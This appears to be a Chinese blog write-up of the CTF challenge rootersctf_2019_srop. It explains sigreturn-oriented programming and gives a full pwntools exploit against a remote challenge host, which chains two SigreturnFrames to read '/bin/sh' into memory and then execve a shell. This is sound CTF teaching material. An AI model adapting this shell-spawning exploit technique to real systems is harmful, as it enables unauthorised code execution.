srop学习 rootersctf_2019_srop

rootersctf_2019_srop

前置知识

这里有必要讲一下什么是srop。ctf_wiki的描述
这里我也简单说一下我的理解。就是内核处理信号(软中断)的时候,会将寄存器压栈到用户地址空间(这里有点小疑惑,因为内核切换进程的时候压栈是属于到内核地址空间,这里是用户地址空间)然后切换回来的时候,调用rt_sigreturnpop回来之前保存的寄存器等。那么我们只要拥有这个gardet,就可以控制程序执行流以及次奥用的系统调用的参数。而触发pop这些寄存器的方法就是直接调用这个rt_sigreturn即可。

ida分析

在这里插入图片描述
如图所示,只有一个简单的读入的溢出,没有牵涉到别的,甚至是静态编译的。那么只有srop着一种方法。其实这种方法也属于小众的,因为sigreturnframe一般比较大,如果能够用sigreturnframe的,基本上常规溢出也可以getshell,因此单独为了考这个就只能不放libc,而且一定会有pop_rax_syscall的gardet。

exp编写

from pwn import *
# io=process('./rootersctf_2019_srop')
io=remote('node4.buuoj.cn',27052)
context.log_level='debug'
context.arch="amd64"
context.log_level='debug'
data_addr = 0x402000
syscall_leave_ret = 0x401033
pop_rax_syscall_leave_ret = 0x401032
syscall_addr = 0x401046


frame = SigreturnFrame()
frame.rax=0 # read syscall
frame.rdi = 0#stdin
frame.rsi = data_addr#buffer
frame.rdx=0x400#length
frame.rip=syscall_leave_ret
# rbp points to next frame?
# /bin/sh is 8 bytes, data_addr+20(all 'a')and8 bytes's /bin/sh will points to 
# pop_rax...., so will execute leave_return
frame.rbp=data_addr+0x20 


# call read 
data = [0x88*'a', pop_rax_syscall_leave_ret,0xf,bytes(frame)]
# gdb.attach(io,"b *0x401035")
io.recvline()
io.sendline(flat(data))

layout = ["/bin/sh\x00", "a" * 0x20, pop_rax_syscall_leave_ret, 0xf]

frame = SigreturnFrame(kernel="amd64")
frame.rax = 59 # execve 
frame.rdi = data_addr # /bin/sh\x00
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

layout.append(bytes(frame))

io.sendline(flat(layout))
io.interactive()


注意这里比较难以理解的地方就是,由于没有/bin/sh需要自己读入,因此需要两次srop。第一次为了读入,第二次执行execve。比较难以理解的地方是第一次的sigretframe里面的rbp设置为data+20的位置,这是为了能够直接return的位置放下一个gardet(第二个payload中的pop_rax_syscall_leave_ret),由此连续执行srop。
此外,这个好像没法调试的样子,因为没法陷入内核。

总结

srop属于比较小众的题目,本体的两次srop已经是比较难的了,但是和其他栈题目比起来,还算是比较简单的。远离也不算难,理解了这道题srop应该就没啥问题了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值